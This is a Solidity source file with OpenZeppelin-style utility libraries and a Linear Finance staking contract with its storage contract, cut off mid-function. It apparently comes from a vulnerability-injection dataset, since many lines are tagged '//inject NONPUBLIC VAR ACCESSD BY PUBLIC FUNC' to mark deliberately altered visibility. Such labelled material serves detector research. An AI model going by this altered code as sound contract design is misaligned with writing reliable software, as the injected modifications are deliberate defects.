// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 internal constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract LnAdmin {
address internal admin;
address internal candidate;
constructor(address _admin) public {
require(_admin != address(0), "admin address cannot be 0");
admin = _admin;
emit AdminChanged(address(0), _admin);
}
function setCandidate(address _candidate) external onlyAdmin {
address old = candidate; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
candidate = _candidate; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit candidateChanged( old, candidate); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function becomeAdmin( ) external {
require( msg.sender == candidate, "Only candidate can become admin"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
address old = admin; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
admin = candidate; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit AdminChanged( old, admin ); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
modifier onlyAdmin {
require( (msg.sender == admin), "Only the contract admin can perform this action");
_;
}
event candidateChanged(address oldCandidate, address newCandidate );
event AdminChanged(address oldAdmin, address newAdmin);
}
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint internal constant UNIT = 10**uint(decimals);
uint internal constant PRECISE_UNIT = 10**uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals);
function unit() external pure returns (uint) {
return UNIT; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function preciseUnit() external pure returns (uint) {
return PRECISE_UNIT; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function multiplyDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i) internal pure returns (uint) {
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i) internal pure returns (uint) {
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
interface ILinearStaking {
function staking(uint256 amount) external returns (bool);
function cancelStaking(uint256 amount) external returns (bool);
function claim() external returns (bool);
function stakingBalanceOf(address account) external view returns(uint256);
}
contract LnLinearStakingStorage is LnAdmin {
using SafeMath for uint256;
LnAccessControl internal accessCtrl;
bytes32 public constant DATA_ACCESS_ROLE = "LinearStakingStorage";
struct StakingData {
uint256 amount;
uint256 staketime;
}
mapping (address => StakingData[]) internal stakesdata;
mapping (uint256 => uint256) internal weeksTotal; // week staking amount
uint256 public stakingStartTime = 1600329600; // TODO: UTC or UTC+8
uint256 internal stakingEndTime = 1605168000;
uint256 public totalWeekNumber = 8;
uint256 public weekRewardAmount = 18750000e18;
constructor(address _admin, address _accessCtrl) public LnAdmin(_admin) {
accessCtrl = LnAccessControl(_accessCtrl);
}
modifier OnlyLinearStakingStorageRole(address _address) {
require(accessCtrl.hasRole(DATA_ACCESS_ROLE, _address), "Only Linear Staking Storage Role");
_;
}
function setAccessControl(address _accessCtrl) external onlyAdmin {
accessCtrl = LnAccessControl(_accessCtrl); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function weekTotalStaking() public view returns (uint256[] memory) {
uint256[] memory totals = new uint256[](totalWeekNumber);
for (uint256 i=0; i< totalWeekNumber; i++) {
uint256 delta = weeksTotal[i]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
if (i == 0) {
totals[i] = delta;
} else {
totals[i] = totals[i-1].add(delta);
}
}
return totals;
}
function getStakesdataLength(address account) external view returns(uint256) {
return stakesdata[account].length; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function getStakesDataByIndex(address account, uint256 index) external view returns(uint256, uint256) {
return (stakesdata[account][index].amount, stakesdata[account][index].staketime); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function stakingBalanceOf(address account) external view returns(uint256) {
uint256 total = 0;
StakingData[] memory stakes = stakesdata[account]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
for (uint256 i=0; i < stakes.length; i++) {
total = total.add(stakes[i].amount);
}
return total;
}
function requireInStakingPeriod() external view {
require(stakingStartTime < block.timestamp, "Staking not start");
require(block.timestamp < stakingEndTime, "Staking stage has end."); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function requireStakingEnd() external view {
require(block.timestamp > stakingEndTime, "Need wait to staking end"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function PushStakingData(address account, uint256 amount, uint256 staketime) external OnlyLinearStakingStorageRole(msg.sender) {
LnLinearStakingStorage.StakingData memory data = LnLinearStakingStorage.StakingData({
amount: amount,
staketime: staketime
});
stakesdata[account].push(data); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function StakingDataAdd(address account, uint256 index, uint256 amount) external OnlyLinearStakingStorageRole(msg.sender) {
stakesdata[account][index].amount = stakesdata[account][index].amount.add(amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function StakingDataSub(address account, uint256 index, uint256 amount) external OnlyLinearStakingStorageRole(msg.sender) {
stakesdata[account][index].amount = stakesdata[account][index].amount.sub(amount, "StakingDataSub sub overflow"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function DeleteStakesData(address account) external OnlyLinearStakingStorageRole(msg.sender) {
delete stakesdata[account]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function PopStakesData(address account) external OnlyLinearStakingStorageRole(msg.sender) {
stakesdata[account].pop(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function AddWeeksTotal(uint256 staketime, uint256 amount) external OnlyLinearStakingStorageRole(msg.sender) {
uint256 weekNumber = staketime.sub(stakingStartTime, "AddWeeksTotal sub overflow") / 1 weeks;
weeksTotal[weekNumber] = weeksTotal[weekNumber].add(amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function SubWeeksTotal(uint256 staketime, uint256 amount) external OnlyLinearStakingStorageRole(msg.sender) {
uint256 weekNumber = staketime.sub(stakingStartTime, "SubWeeksTotal weekNumber sub overflow") / 1 weeks;
weeksTotal[weekNumber] = weeksTotal[weekNumber].sub(amount, "SubWeeksTotal weeksTotal sub overflow"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setWeekRewardAmount(uint256 _weekRewardAmount) external onlyAdmin {
weekRewardAmount = _weekRewardAmount;
}
function setStakingPeriod(uint _stakingStartTime, uint _stakingEndTime) external onlyAdmin {
require(_stakingEndTime > _stakingStartTime);
stakingStartTime = _stakingStartTime;
stakingEndTime = _stakingEndTime; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
totalWeekNumber = stakingEndTime.sub(stakingStartTime, "setStakingPeriod totalWeekNumber sub overflow") / 1 weeks; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
if (stakingEndTime.sub(stakingStartTime, "setStakingPeriod stakingEndTime sub overflow") % 1 weeks != 0) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
totalWeekNumber = totalWeekNumber.add(1);
}
}
}
contract LnLinearStaking is LnAdmin, Pausable, ILinearStaking {
using SafeMath for uint256;
IERC20 internal linaToken; // lina token proxy address
LnLinearStakingStorage internal stakingStorage;
constructor(
address _admin,
address _linaToken,
address _storage
) public LnAdmin(_admin) {
linaToken = IERC20(_linaToken);
stakingStorage = LnLinearStakingStorage(_storage);
}
function setLinaToken(address _linaToken) external onlyAdmin {
linaToken = IERC20(_linaToken); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setPaused(bool _paused) external onlyAdmin {
if (_paused) {
_pause();
} else {
_unpause();
}
}
//////////////////////////////////////////////////////
event Staking(address indexed who, uint256 value, uint staketime);
event CancelStaking(address indexed who, uint256 value);
event Claim(address indexed who, uint256 rewardval, uint256 totalStaking);
uint256 internal accountStakingListLimit = 50;
uint256 internal minStakingAmount = 1e18; // 1 token
uint256 internal constant PRECISION_UINT = 1e23;
function setLinaTokenAddress(address _token) external onlyAdmin {
linaToken = IERC20(_token); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setStakingListLimit(uint256 _limit) external onlyAdmin {
accountStakingListLimit = _limit; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function setMinStakingAmount(uint256 _minStakingAmount) external onlyAdmin {
minStakingAmount = _minStakingAmount; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function stakingBalanceOf(address account) external override view returns(uint256) {
return stakingStorage.stakingBalanceOf(account); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function getStakesdataLength(address account) external view returns(uint256) {
return stakingStorage.getStakesdataLength(account); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
//--------------------------------------------------------
function staking(uint256 amount) public whenNotPaused override returns (bool) {
stakingStorage.requireInStakingPeriod(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(amount >= minStakingAmount, "Staking amount too small."); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(stakingStorage.getStakesdataLength(msg.sender) < accountStakingListLimit, "Staking list out of limit."); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
//linaToken.burn(msg.sender, amount);
linaToken.transferFrom(msg.sender, address(this), amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
